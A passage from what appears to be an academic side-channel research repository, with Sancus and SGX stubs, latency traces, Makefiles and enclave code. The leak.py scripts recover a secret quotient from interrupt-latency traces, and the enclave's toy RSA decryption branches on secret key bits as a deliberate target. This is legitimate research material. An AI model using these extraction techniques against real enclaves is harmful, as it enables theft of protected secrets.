139 | latency: 1 140 | latency: 2 141 | latency: 3 142 | latency: 2 143 | latency: 2 144 | latency: 2 145 | latency: 2 146 | latency: 2 147 | latency: 2 148 | latency: 2 149 | latency: 3 150 | latency: 1 151 | latency: 2 152 | latency: 1 153 | latency: 1 154 | latency: 1 155 | latency: 2 156 | latency: 1 157 | latency: 1 158 | latency: 2 159 | latency: 1 160 | All done! 161 | -------------------------------------------------------------------------------- /sancus/stubs/unsigned-division-stub/foo-unsigned-div.c: -------------------------------------------------------------------------------- 1 | #include "foo-unsigned-div.h" 2 | #include 3 | 4 | DECLARE_SM(foo, 0x1234); 5 | 6 | #define FOO_A_CST 0x3f 7 | #define FOO_B_CST 0x6 8 | 9 | unsigned int SM_DATA(foo) foo_a; 10 | unsigned int SM_DATA(foo) foo_b; 11 | 12 | void SM_ENTRY(foo) init_foo(void) 13 | { 14 | foo_a = FOO_A_CST; 15 | foo_b = FOO_B_CST; 16 | } 17 | 18 | int SM_ENTRY(foo) leak_foo(void) 19 | { 20 | volatile unsigned int c = foo_a / foo_b; 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /sancus/stubs/unsigned-division-stub/foo-unsigned-div.h: -------------------------------------------------------------------------------- 1 | #ifndef FOO_H_INC 2 | #define FOO_H_INC 3 | 4 | #include 5 | 6 | extern struct SancusModule foo; 7 | 8 | void SM_ENTRY(foo) init_foo(void); 9 | int SM_ENTRY(foo) leak_foo(void); 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /sancus/stubs/unsigned-division-stub/leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | def main(): 4 | import sys 5 | import re 6 | if len(sys.argv) != 2: 7 | print("Usage: {} ".format(sys.argv[0])) 8 | exit() 9 | with open(sys.argv[1], "r") as inFile: 10 | lines = inFile.readlines() 11 | latencies = [] 12 | for line in lines: 13 | if line.startswith("latency:"): 14 | _, latency = line.split(" ") 15 | latencies.append(latency.strip()) 16 | latenciesString = "".join(latencies) 17 | udivRegex = "211(1112(11)?12){16}" 18 | udivPattern = re.compile(udivRegex) 19 | udivHit = udivPattern.search(latenciesString) 20 | if udivHit: 21 | print("Found unsigned division") 22 | udivTrace = udivHit.group() 23 | udivTrace = udivTrace[3:] # consume the three known instructions at the beginning 24 | bitsOfQuotient = "" 25 | bitEq1Trace = "11121112" 26 | bitEq0Trace = "111212" 27 | while udivTrace.startswith(bitEq1Trace) or udivTrace.startswith(bitEq0Trace): 28 | if udivTrace.startswith(bitEq1Trace): 29 | bitsOfQuotient += "1" 30 | udivTrace = udivTrace[len(bitEq1Trace):] 31 | elif udivTrace.startswith(bitEq0Trace): 32 | bitsOfQuotient += "0" 33 | udivTrace[len(bitEq0Trace):] 34 | udivTrace = udivTrace[len(bitEq0Trace):] 35 | print("quotient = {}".format(int(bitsOfQuotient, 2))) 36 | else: 37 | print("Found no unsigned division") 38 | 39 | 40 | if __name__ == "__main__": 41 | main() 42 | -------------------------------------------------------------------------------- /sancus/stubs/unsigned-division-stub/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "foo-unsigned-div.h" 8 | 9 | int main() 10 | { 11 | msp430_io_init(); 12 | sancus_enable(&foo); 13 | init_foo(); 14 | 15 | __ss_start(); 16 | volatile int rv = leak_foo(); 17 | 18 | FINISH(); 19 | } 20 | 21 | /* ======== TIMER A ISR ======== */ 22 | SANCUS_STEP_ISR_ENTRY2(__ss_print_latency, __ss_end) 23 | -------------------------------------------------------------------------------- /sancus/stubs/unsigned-modulo-stub/Makefile: -------------------------------------------------------------------------------- 1 | include ../Makefile.include 2 | 3 | SOURCES = $(shell ls *.c) 4 | OBJECTS = $(SOURCES:.c=.o) 5 | 6 | TARGET = main.elf 7 | TARGET_NO_MAC = no_mac_$(TARGET) 8 | 9 | all: $(TARGET) 10 | 11 | $(TARGET_NO_MAC): $(OBJECTS) 12 | $(LD) $(LDFLAGS) -lsancus-step -o $@ $^ 13 | 14 | $(TARGET): $(TARGET_NO_MAC) 15 | $(SANCUS_CRYPTO) --fill-macs $(CRYPTOFLAGS) -o $@ $< 16 | 17 | load: $(TARGET) 18 | $(SANCUS_LOAD) $(LOADFLAGS) $< 19 | 20 | sim: $(TARGET) 21 | $(SANCUS_SIM) $(SIMFLAGS) $< 22 | 23 | clean: 24 | $(RM) $(TARGET) $(TARGET_NO_MAC) $(OBJECTS) 25 | rm -f sim-input.bin sim-output.bin 26 | rm -f *.fst *.vcd 27 | -------------------------------------------------------------------------------- /sancus/stubs/unsigned-modulo-stub/foo-unsigned-mod-trace.txt: -------------------------------------------------------------------------------- 1 | 2 | ------ 3 | 4 | 5 | latency: 1 6 | latency: 3 7 | latency: 3 8 | latency: 2 9 | latency: 2 10 | latency: 2 11 | latency: 1 12 | latency: 2 13 | latency: 2 14 | latency: 2 15 | latency: 3 16 | latency: 3 17 | latency: 3 18 | latency: 3 19 | latency: 3 20 | latency: 3 21 | latency: 1 22 | latency: 1 23 | latency: 1 24 | latency: 1 25 | latency: 3 26 | latency: 3 27 | latency: 3 28 | latency: 1 29 | latency: 1 30 | latency: 3 31 | latency: 3 32 | latency: 4 33 | latency: 4 34 | latency: 2 35 | latency: 1 36 | latency: 1 37 | latency: 1 38 | latency: 1 39 | latency: 1 40 | latency: 2 41 | latency: 1 42 | latency: 2 43 | latency: 1 44 | latency: 1 45 | latency: 1 46 | latency: 2 47 | latency: 1 48 | latency: 2 49 | latency: 1 50 | latency: 1 51 | latency: 1 52 | latency: 2 53 | latency: 1 54 | latency: 2 55 | latency: 1 56 | latency: 1 57 | latency: 1 58 | latency: 2 59 | latency: 1 60 | latency: 2 61 | latency: 1 62 | latency: 1 63 | latency: 1 64 | latency: 2 65 | latency: 1 66 | latency: 2 67 | latency: 1 68 | latency: 1 69 | latency: 1 70 | latency: 2 71 | latency: 1 72 | latency: 2 73 | latency: 1 74 | latency: 1 75 | latency: 1 76 | latency: 2 77 | latency: 1 78 | latency: 2 79 | latency: 1 80 | latency: 1 81 | latency: 1 82 | latency: 2 83 | latency: 1 84 | latency: 2 85 | latency: 1 86 | latency: 1 87 | latency: 1 88 | latency: 2 89 | latency: 1 90 | latency: 2 91 | latency: 1 92 | latency: 1 93 | latency: 1 94 | latency: 2 95 | latency: 1 96 | latency: 2 97 | latency: 1 98 | latency: 1 99 | latency: 1 100 | latency: 2 101 | latency: 1 102 | latency: 2 103 | latency: 1 104 | latency: 1 105 | latency: 1 106 | latency: 2 107 | latency: 1 108 | latency: 2 109 | latency: 1 110 | latency: 1 111 | latency: 1 112 | latency: 2 113 | latency: 1 114 | latency: 1 115 | latency: 1 116 | latency: 2 117 | latency: 1 118 | latency: 1 119 | latency: 1 120 | latency: 2 121 | latency: 1 122 | latency: 2 123 | latency: 1 124 | latency: 1 125 | latency: 1 126 | latency: 2 127 | latency: 1 128 | latency: 1 129 | latency: 1 130 | latency: 2 131 | latency: 1 132 | latency: 1 133 | latency: 1 134 | latency: 2 135 | latency: 1 136 | latency: 2 137 | latency: 3 138 | latency: 1 139 | latency: 3 140 | latency: 4 141 | latency: 1 142 | latency: 1 143 | latency: 2 144 | latency: 3 145 | latency: 2 146 | latency: 2 147 | latency: 2 148 | latency: 2 149 | latency: 2 150 | latency: 2 151 | latency: 2 152 | latency: 3 153 | latency: 1 154 | latency: 2 155 | latency: 1 156 | latency: 1 157 | latency: 1 158 | latency: 2 159 | latency: 1 160 | latency: 1 161 | latency: 2 162 | latency: 1 163 | All done! 164 | -------------------------------------------------------------------------------- /sancus/stubs/unsigned-modulo-stub/foo-unsigned-mod.c: -------------------------------------------------------------------------------- 1 | #include "foo-unsigned-mod.h" 2 | #include 3 | 4 | DECLARE_SM(foo, 0x1234); 5 | 6 | #define FOO_A_CST 0x3f 7 | #define FOO_B_CST 0x6 8 | 9 | unsigned int SM_DATA(foo) foo_a; 10 | unsigned int SM_DATA(foo) foo_b; 11 | 12 | void SM_ENTRY(foo) init_foo(void) 13 | { 14 | foo_a = FOO_A_CST; 15 | foo_b = FOO_B_CST; 16 | } 17 | 18 | int SM_ENTRY(foo) leak_foo(void) 19 | { 20 | volatile unsigned int c = foo_a % foo_b; 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /sancus/stubs/unsigned-modulo-stub/foo-unsigned-mod.h: -------------------------------------------------------------------------------- 1 | #ifndef FOO_H_INC 2 | #define FOO_H_INC 3 | 4 | #include 5 | 6 | extern struct SancusModule foo; 7 | 8 | void SM_ENTRY(foo) init_foo(void); 9 | int SM_ENTRY(foo) leak_foo(void); 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /sancus/stubs/unsigned-modulo-stub/leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | def main(): 4 | import sys 5 | import re 6 | if len(sys.argv) != 2: 7 | print("Usage: {} ".format(sys.argv[0])) 8 | exit() 9 | with open(sys.argv[1], "r") as inFile: 10 | lines = inFile.readlines() 11 | latencies = [] 12 | for line in lines: 13 | if line.startswith("latency:"): 14 | _, latency = line.split(" ") 15 | latencies.append(latency.strip()) 16 | latenciesString = "".join(latencies) 17 | udivRegex = "211(1112(11)?12){16}" 18 | udivPattern = re.compile(udivRegex) 19 | udivHit = udivPattern.search(latenciesString) 20 | if udivHit: 21 | print("Found unsigned division") 22 | udivTrace = udivHit.group() 23 | udivTrace = udivTrace[3:] # consume the three known instructions at the beginning 24 | bitsOfQuotient = "" 25 | bitEq1Trace = "11121112" 26 | bitEq0Trace = "111212" 27 | while udivTrace.startswith(bitEq1Trace) or udivTrace.startswith(bitEq0Trace): 28 | if udivTrace.startswith(bitEq1Trace): 29 | bitsOfQuotient += "1" 30 | udivTrace = udivTrace[len(bitEq1Trace):] 31 | elif udivTrace.startswith(bitEq0Trace): 32 | bitsOfQuotient += "0" 33 | udivTrace[len(bitEq0Trace):] 34 | udivTrace = udivTrace[len(bitEq0Trace):] 35 | print("quotient = {}".format(int(bitsOfQuotient, 2))) 36 | else: 37 | print("Found no unsigned division") 38 | 39 | 40 | if __name__ == "__main__": 41 | main() 42 | -------------------------------------------------------------------------------- /sancus/stubs/unsigned-modulo-stub/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "foo-unsigned-mod.h" 8 | 9 | int main() 10 | { 11 | msp430_io_init(); 12 | sancus_enable(&foo); 13 | init_foo(); 14 | 15 | __ss_start(); 16 | volatile int rv = leak_foo(); 17 | 18 | FINISH(); 19 | } 20 | 21 | /* ======== TIMER A ISR ======== */ 22 | SANCUS_STEP_ISR_ENTRY2(__ss_print_latency, __ss_end) 23 | -------------------------------------------------------------------------------- /sancus_keystroke_trace_annotated.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jovanbulck/nemesis/d463ac69403ea74cb6d190d0c7cf36c2803008cc/sancus_keystroke_trace_annotated.png -------------------------------------------------------------------------------- /sgx/.gitignore: -------------------------------------------------------------------------------- 1 | app 2 | latency_trace.txt 3 | latency_bench.txt 4 | latency_zz.txt 5 | latency_zz_trace_avg.txt 6 | hist.pdf 7 | trace.pdf 8 | boxplot.pdf 9 | 10 | *.swp 11 | 12 | out.txt 13 | 14 | __pycache__/* 15 | cache.pdf 16 | div.pdf 17 | inst.pdf 18 | pte.pdf 19 | -------------------------------------------------------------------------------- /sgx/Enclave/.gitignore: -------------------------------------------------------------------------------- 1 | asm_micro.S 2 | encl 3 | *.pem 4 | *.a 5 | *.s 6 | *.so 7 | *_u.* 8 | *_t.* 9 | -------------------------------------------------------------------------------- /sgx/Enclave/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | AR = ar 3 | LD = gcc 4 | EDGER = sgx_edger8r 5 | SIGNER = sgx_sign 6 | INCLUDE = -I$(SGX_SDK)/include -I$(SGX_SDK)/include/tlibc 7 | T_CFLAGS = $(CFLAGS) -nostdinc -fvisibility=hidden -fpie -fstack-protector -g -Os 8 | U_CFLAGS = $(CFLAGS) -nostdinc -fvisibility=hidden -fpie -fstack-protector -g 9 | AR_FLAGS = rcs 10 | OBJECTS = encl.o asm_micro.o asm.o 11 | LIB_SGX_TRTS = -lsgx_trts 12 | LIB_SGX_TSERVICE = -lsgx_tservice 13 | 14 | ENCLAVE_LIBS = $(LIB_SGX_TRTS) 15 | ENCLAVE_LIB_PARTS = -lsgx_tstdc -lsgx_tcrypto $(LIB_SGX_TSERVICE) 16 | ENCLAVE = encl 17 | PRIVATE_KEY = private_key.pem 18 | PUBLIC_KEY = public_key.pem 19 | KEY_SIZE = 3072 20 | ENCLAVE_EDL = $(ENCLAVE).edl 21 | ENCLAVE_CONFIG = $(ENCLAVE).config.xml 22 | OUTPUT_T = $(ENCLAVE).so 23 | OUTPUT_T_UNSIG = $(ENCLAVE).unsigned.so 24 | OUTPUT_U = lib$(ENCLAVE)_proxy.a 25 | LIB_DIRS = -L$(SGX_SDK)/lib64/ 26 | LD_FLAGS = -Wl,--no-undefined -nostdlib -nodefaultlibs -nostartfiles \ 27 | -Wl,--whole-archive -Wl,--start-group $(ENCLAVE_LIBS) -Wl,--end-group \ 28 | -Wl,--no-whole-archive -Wl,--start-group $(ENCLAVE_LIB_PARTS) -Wl,--end-group \ 29 | -Wl,-Bstatic -Wl,-Bsymbolic -Wl,--no-undefined \ 30 | -Wl,-pie,-eenclave_entry -Wl,--export-dynamic \ 31 | -Wl,--defsym,__ImageBase=0 32 | TRUSTED_OBJECTS = $(ENCLAVE)_t.o 33 | UNTRUSTED_OBJECTS = $(ENCLAVE)_u.o 34 | TRUSTED_CODE = $(ENCLAVE)_t.h $(ENCLAVE)_t.c 35 | UNTRUSTED_CODE = $(ENCLAVE)_u.h $(ENCLAVE)_u.c 36 | 37 | #.SILENT: 38 | all: $(OUTPUT_T) $(OUTPUT_U) 39 | 40 | $(OUTPUT_T) : $(TRUSTED_OBJECTS) $(OBJECTS) $(PRIVATE_KEY) 41 | echo "$(INDENT)[LD] " $(OBJECTS) $(TRUSTED_OBJECTS) $(ENCLAVE_LIBS) $(ENCLAVE_LIBS_PARTS) $(OUTPUT_T_UNSIG) 42 | $(LD) $(OBJECTS) $(TRUSTED_OBJECTS) $(LD_FLAGS) $(LIB_DIRS) -o $(OUTPUT_T_UNSIG) 43 | 44 | echo "$(INDENT)[SGN]" $(OUTPUT_T_UNSIG) 45 | $(SIGNER) sign -key $(PRIVATE_KEY) -enclave $(OUTPUT_T_UNSIG) -out $(OUTPUT_T) -config $(ENCLAVE_CONFIG) > /dev/null 2> /dev/null 46 | 47 | $(OUTPUT_U) : $(UNTRUSTED_OBJECTS) 48 | echo "$(INDENT)[AR] " $(OUTPUT_U) 49 | $(AR) $(AR_FLAGS) $(OUTPUT_U) $(UNTRUSTED_OBJECTS) 50 | 51 | %_t.o : $(subst .o,.c,$@) edger 52 | echo "$(INDENT)[CC] " $(subst .o,.c,$@) "(trusted edge)" 53 | touch $(subst .o,.c,$@) 54 | $(CC) -c $(INCLUDE) $(T_CFLAGS) $(subst .o,.c,$@) 55 | 56 | %_u.o : $(subst .o,.c,$@) edger 57 | echo "$(INDENT)[CC] " $(subst .o,.c,$@) "(untrusted edge)" 58 | touch $(subst .o,.c,$@) 59 | $(CC) -c $(INCLUDE) $(U_CFLAGS) $(subst .o,.c,$@) 60 | 61 | %.o : %.c edger 62 | echo "$(INDENT)[CC] " $< "(core)" 63 | $(CC) $(INCLUDE) $(T_CFLAGS) -c $< 64 | 65 | %.o : %.S 66 | echo "$(INDENT)[AS] " $< "(core)" 67 | $(CC) $(INCLUDE) $(T_CFLAGS) -c $< -o $@ 68 | 69 | asm_micro.S: build_asm.py 70 | ./build_asm.py $(NUM) 71 | 72 | edger: $(ENCLAVE).edl 73 | echo "$(INDENT)[GEN]" $(EDGER) $(ENCLAVE_EDL) 74 | $(EDGER) $(ENCLAVE_EDL) 75 | 76 | .PHONY: force_check 77 | force_check: 78 | true 79 | 80 | .PHONY: scrub 81 | scrub: 82 | echo "$(INDENT)[RM] " $(PRIVATE_KEY) $(PUBLIC_KEY) 83 | $(RM) $(PRIVATE_KEY) $(PUBLIC_KEY) 84 | 85 | $(PRIVATE_KEY): 86 | echo "$(INDENT)[GEN] $(PRIVATE_KEY) ($(KEY_SIZE) bits)" 87 | 88 | # generate 3072 bit private RSA key 89 | openssl genrsa -out $(PRIVATE_KEY) -3 $(KEY_SIZE) 90 | 91 | echo "$(INDENT)[EXT] $(PUBLIC_KEY)" 92 | # extract public key 93 | openssl rsa -in $(PRIVATE_KEY) -pubout -out $(PUBLIC_KEY) 94 | 95 | # sign enclave 96 | #sgx_sign sign -key private_key.pem -enclave Enclave/encl.so -out encl.signed.so 97 | 98 | .PHONY: clean 99 | clean: 100 | echo "$(INDENT)[RM]" $(OBJECTS) $(OUTPUT_T_UNSIG) $(OUTPUT_T) $(OUTPUT_U) 101 | $(RM) $(OBJECTS) $(OUTPUT_T_UNSIG) $(OUTPUT_T) $(OUTPUT_U) 102 | echo "$(INDENT)[RM]" $(TRUSTED_OBJECTS) $(UNTRUSTED_OBJECTS) $(TRUSTED_CODE) $(UNTRUSTED_CODE) 103 | $(RM) $(TRUSTED_OBJECTS) $(UNTRUSTED_OBJECTS) $(TRUSTED_CODE) $(UNTRUSTED_CODE) 104 | $(RM) asm_micro.S 105 | -------------------------------------------------------------------------------- /sgx/Enclave/asm.S: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the SGX-Step enclave execution control framework. 3 | * 4 | * Copyright (C) 2017 Jo Van Bulck , 5 | * Raoul Strackx 6 | * 7 | * SGX-Step is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * SGX-Step is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | * 17 | * You should have received a copy of the GNU General Public License 18 | * along with SGX-Step. If not, see . 19 | */ 20 | 21 | .text 22 | .global trigger_func 23 | .align 0x1000 /* 4KiB */ 24 | trigger_func: 25 | retq 26 | .space 0x1000 /* 4 KiB */ 27 | 28 | .data 29 | .global a 30 | .global b 31 | .align 0x1000 /* 4KiB */ 32 | a: 33 | .space 0x8 34 | b: 35 | .space 0x8 36 | .space 0x1000 /* 4 KiB */ 37 | 38 | .macro lea_pic symbol, reg 39 | lea \symbol(%rip), \reg 40 | .endm 41 | 42 | .text 43 | .global zigzag_bench 44 | .align 0x1000 /* 4KiB */ 45 | .type zigzag_bench,@function 46 | /* 47 | * Code snippet from 48 | * https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-lee-sangho.pdf 49 | */ 50 | zigzag_bench: 51 | block0: lea_pic block1, %r15 52 | lea_pic block2, %r14 53 | cmp $0, a(%rip) 54 | cmove %r14, %r15 55 | block0.j: jmp zz1 56 | 57 | /* 58 | * NOTE: explicitly align secret-dependent code snippet to harden it against 59 | * known page-granular (4KiB) plus cache line-granular (64B) attacks. 60 | */ 61 | /* -------------------- BEGIN PAGE/CACHELINE -------------------- */ 62 | .align 0x40 /* 64B */ 63 | block1: nop 64 | lea_pic block5, %r15 65 | block1.j: jmp zz2 66 | block2: lea_pic block3, %r15 67 | lea_pic block4, %r14 68 | cmp $0, b(%rip) 69 | cmove %r14, %r15 70 | block2.j: jmp zz3 71 | block3: nop 72 | lea_pic block5, %r15 73 | block3.j: jmp zz4 74 | block4: nop 75 | block5: nop 76 | 77 | zigzag_bench_ret: 78 | retq 79 | 80 | zz1: jmp block1.j 81 | zz2: jmp block2.j 82 | zz3: jmp block3.j 83 | zz4: jmpq *%r15 84 | 85 | /* -------------------- END CACHELINE -------------------- */ 86 | .space 0x1000 /* 4KiB */ 87 | -------------------------------------------------------------------------------- /sgx/Enclave/build_asm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import string 4 | import sys 5 | 6 | if (len(sys.argv) != 2): 7 | print("usage: build_asm.py expects one argument ") 8 | exit(1) 9 | 10 | NB_INST = int(sys.argv[1]) 11 | 12 | ASM_INST = "nop" 13 | #ASM_INST = "add $0x1, %rax" 14 | #ASM_INST = "fscale" 15 | #ASM_INST = "rdrand %rax" 16 | #ASM_INST = "lfence" 17 | 18 | #ASM_INST = "mov (%rdi),%rax" 19 | #ASM_INST = "mov %rax,(%rdi)" 20 | #ASM_INST = "movnti %rax,(%rdi)" 21 | #ASM_INST = "clflush (%rdi)\n mov (%rdi),%rax" 22 | 23 | #ASM_INST = "mov $0x0000000000000000, %rdx\n mov $0x0000000000000000,%rax\n mov $0xffffffffffffffff, %rbx\n div %rbx" 24 | #ASM_INST = "mov $0x0000000000000000, %rdx\n mov $0xffffffffffffffff,%rax\n mov $0xffffffffffffffff, %rbx\n div %rbx" 25 | #ASM_INST = "mov $0x00000000ffffffff, %rdx\n mov $0xffffffffffffffff,%rax\n mov $0xffffffffffffffff, %rbx\n div %rbx" 26 | #ASM_INST = "mov $0x0fffffffffffffff, %rdx\n mov $0xffffffffffffffff,%rax\n mov $0xffffffffffffffff, %rbx\n div %rbx" 27 | 28 | template = string.Template(''' 29 | /* ====== auto generated asm code from Python script ======= */ 30 | 31 | .text 32 | .align 0x1000 /* 4 KiB */ 33 | .global asm_microbenchmark 34 | asm_microbenchmark: 35 | $asmCode 36 | 37 | call trigger_func 38 | 39 | asm_microbenchmark_done: 40 | retq 41 | ''') 42 | 43 | asm = (ASM_INST + '\n') * (NB_INST) 44 | code = template.substitute(asmCode=asm) 45 | 46 | with open('asm_micro.S', 'w') as the_file: 47 | the_file.write(code) 48 | -------------------------------------------------------------------------------- /sgx/Enclave/encl.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the SGX-Step enclave execution control framework. 3 | * 4 | * Copyright (C) 2017 Jo Van Bulck , 5 | * Raoul Strackx 6 | * 7 | * SGX-Step is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * SGX-Step is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | * 17 | * You should have received a copy of the GNU General Public License 18 | * along with SGX-Step. If not, see . 19 | */ 20 | 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | // see asm.S 28 | extern void asm_microbenchmark(void*); 29 | extern char secret_str; 30 | extern void zigzag_bench(void); 31 | extern void trigger_func(void); 32 | extern int a, b; 33 | 34 | void *get_trigger_adrs( void ) 35 | { 36 | return trigger_func; 37 | } 38 | 39 | void *get_bench_adrs( void ) 40 | { 41 | return asm_microbenchmark; 42 | } 43 | 44 | void *get_bench_data_adrs( void ) 45 | { 46 | return &a; 47 | } 48 | 49 | void *get_zz_adrs(void) 50 | { 51 | return zigzag_bench; 52 | } 53 | 54 | void *get_bsearch_adrs(void) 55 | { 56 | return bsearch; 57 | } 58 | 59 | #define ARRAY_SIZE 11 60 | int array[ARRAY_SIZE] = { 0, 5, 8, 9, 10, 25, 63, 78, 80, 100, 101 }; 61 | 62 | int my_comp(const void *p1, const void *p2) 63 | { 64 | int a = *((int*) p1), b = *((int*) p2); 65 | 66 | if (a == b) 67 | return 0; 68 | else if (a > b) 69 | return 1; 70 | else 71 | return -1; 72 | } 73 | 74 | int do_bsearch(int a) 75 | { 76 | int idx = 0; 77 | int *adrs = (int*) bsearch(&a, array, ARRAY_SIZE, sizeof(int), my_comp); 78 | trigger_func(); 79 | if (adrs) 80 | idx = adrs - array; 81 | return idx; 82 | } 83 | 84 | int dummy; 85 | 86 | void do_inst_slide(void *p) 87 | { 88 | asm_microbenchmark(&a); 89 | trigger_func(); 90 | } 91 | 92 | void do_zigzagger(void) 93 | { 94 | a = 1; 95 | b = 0; 96 | zigzag_bench(); 97 | 98 | a = 0; 99 | b = 1; 100 | zigzag_bench(); 101 | trigger_func(); 102 | } 103 | 104 | int dummy; 105 | volatile int *gv = &dummy; 106 | 107 | void set_global_var_pt(void *p) 108 | { 109 | gv = (int*) p; 110 | } 111 | 112 | /* 113 | * Compute n^-1 mod m by extended euclidian method. 114 | * (from https://github.com/pantaloons/RSA/blob/master/single.c) 115 | */ 116 | int inverse(int n, int modulus) 117 | { 118 | int a = n, b = modulus; 119 | int x = 0, y = 1, x0 = 1, y0 = 0, q, temp; 120 | while (b != 0) 121 | { 122 | q = a / b; 123 | temp = a % b; 124 | a = b; 125 | b = temp; 126 | temp = x; x = x0 - q * x; x0 = temp; 127 | temp = y; y = y0 - q * y; y0 = temp; 128 | } 129 | if (x0 < 0) x0 += modulus; 130 | return x0; 131 | } 132 | 133 | /* 134 | * Computes a^b mod n. 135 | * (long long multiplication prevents overflow) 136 | */ 137 | int modpow(long long a, long long b, long long n) 138 | { 139 | long long res = 1; 140 | uint16_t mask = 0x8000; 141 | 142 | for (int i=15; i >= 0; i--) 143 | { 144 | res = (res * res) % n; 145 | if (b & mask) 146 | { 147 | res = (res * a) % n; 148 | } 149 | mask = mask >> 1; 150 | } 151 | return res; 152 | } 153 | 154 | /* 155 | * Example RSA key with p = 137 and q = 421. 156 | * 157 | * Defining rsa_n as a precompiler constant 158 | * slightly increases length of compiler- 159 | * generated asm code for ( (a * b) % rsa_n ). 160 | * 161 | * Global var rsa_d allocated on data page. 162 | */ 163 | #define rsa_n 57677 164 | int rsa_e = 11; 165 | int rsa_d = 20771; //16'b0101000100100011 166 | 167 | void set_rsa_key(int k) 168 | { 169 | rsa_d = k; 170 | } 171 | 172 | int rsa_decode(int cipher) 173 | { 174 | int i, mask, r = 0; 175 | long long res; 176 | 177 | /* Blinding with 16-bit random factor. */ 178 | if (sgx_read_rand((unsigned char*) &r, 2) 179 | != SGX_SUCCESS) return 0; 180 | cipher = cipher * modpow(r, rsa_e, rsa_n); 181 | 182 | /* 183 | * Decrypt blinded message with inlined 184 | * square and multiply algorithm. 185 | * res = modpow(cipher, rsa_d, rsa_n); 186 | */ 187 | res = 1; mask = 0x8000; 188 | 189 | for (i=15; i >= 0; i--) 190 | { 191 | #if 0 192 | *gv = i; //XXX 193 | asm("rdrand %%rax\n\t" 194 | :::"rax"); 195 | #endif 196 | 197 | res = (res * res) % rsa_n; 198 | if (rsa_d & mask) 199 | { 200 | res = (res * cipher) % rsa_n; 201 | } 202 | mask = mask >> 1; 203 | } 204 | *gv = 111; 205 | 206 | /* Unblind result. */ 207 | return (res * inverse(r, rsa_n)) % rsa_n; 208 | } 209 | 210 | int rsa_encode(int plain) 211 | { 212 | return modpow(plain, rsa_e, rsa_n); 213 | } 214 | -------------------------------------------------------------------------------- /sgx/Enclave/encl.config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 0 4 | 0 5 | 0x40000 6 | 0x100000 7 | 1 8 | 1 9 | 0 10 | 11 | -------------------------------------------------------------------------------- /sgx/Enclave/encl.edl: -------------------------------------------------------------------------------- 1 | enclave { 2 | 3 | trusted { 4 | public void do_inst_slide( [user_check] void *p ); 5 | public void do_zigzagger( void ); 6 | public void *get_trigger_adrs( void ); 7 | public int do_bsearch(int a); 8 | 9 | public int rsa_encode(int plain); 10 | public int rsa_decode(int cipher); 11 | public void set_global_var_pt([user_check] void *gv); 12 | public void set_rsa_key(int k); 13 | 14 | public void *get_bench_adrs( void ); 15 | public void *get_bench_data_adrs( void ); 16 | public void *get_zz_adrs( void ); 17 | public void *get_bsearch_adrs( void ); 18 | }; 19 | 20 | untrusted { 21 | }; 22 | }; 23 | -------------------------------------------------------------------------------- /sgx/Makefile: -------------------------------------------------------------------------------- 1 | LIBSGXSTEP_DIR = ./sgx-step/ 2 | LIBSGXSTEP = $(LIBSGXSTEP_DIR)/libsgxstep 3 | -include $(LIBSGXSTEP)/Makefile.config 4 | 5 | ifeq ($(SGX_SDK),) 6 | SGX_SDK = /opt/intel/sgxsdk 7 | endif 8 | export SGX_SDK 9 | ifneq ($(SGX_SDK), /opt/intel/sgxsdk) 10 | URTS_LD_LIBRARY_PATH = LD_LIBRARY_PATH=$(LIBSGXSTEP_DIR)/linux-sgx/psw/urts/linux 11 | endif 12 | 13 | ENCLAVE = Enclave 14 | SUBDIRS = $(ENCLAVE) $(LIBSGXSTEP) 15 | 16 | CC = gcc 17 | AS = gcc 18 | LD = gcc 19 | 20 | CFLAGS += -fPIC -fno-stack-protector -fno-builtin -fno-jump-tables \ 21 | -fno-common -Wno-attributes -g -D_GNU_SOURCE -O0 22 | INCLUDE = -I$(SGX_SDK)/include/ -I$(LIBSGXSTEP_DIR) 23 | LDFLAGS += -lsgx-step -lencl_proxy -lsgx_urts \ 24 | -lsgx_uae_service -pthread $(SUBDIRS:%=-L %) -L$(SGX_SDK)/lib64/ 25 | 26 | SOURCES = $(shell ls *.c) 27 | OBJECTS = $(SOURCES:.c=.o) 28 | OUTPUT = app 29 | 30 | BUILDDIRS = $(SUBDIRS:%=build-%) 31 | CLEANDIRS = $(SUBDIRS:%=clean-%) 32 | 33 | ifeq ($(NUM),) 34 | NUM = 100 35 | endif 36 | export NUM 37 | 38 | ifeq ($(ZZ),) 39 | ZZ = 0 40 | endif 41 | export NUM 42 | 43 | CFLAGS += -DNUM_BENCH=$(NUM) -DMACRO_BENCH=$(ZZ) 44 | 45 | .SILENT: 46 | all: $(OUTPUT) 47 | 48 | run: clean all 49 | sudo $(URTS_LD_LIBRARY_PATH) ./app > out.txt 50 | cat out.txt 51 | 52 | parse: run 53 | MACRO_BENCH=$(ZZ) 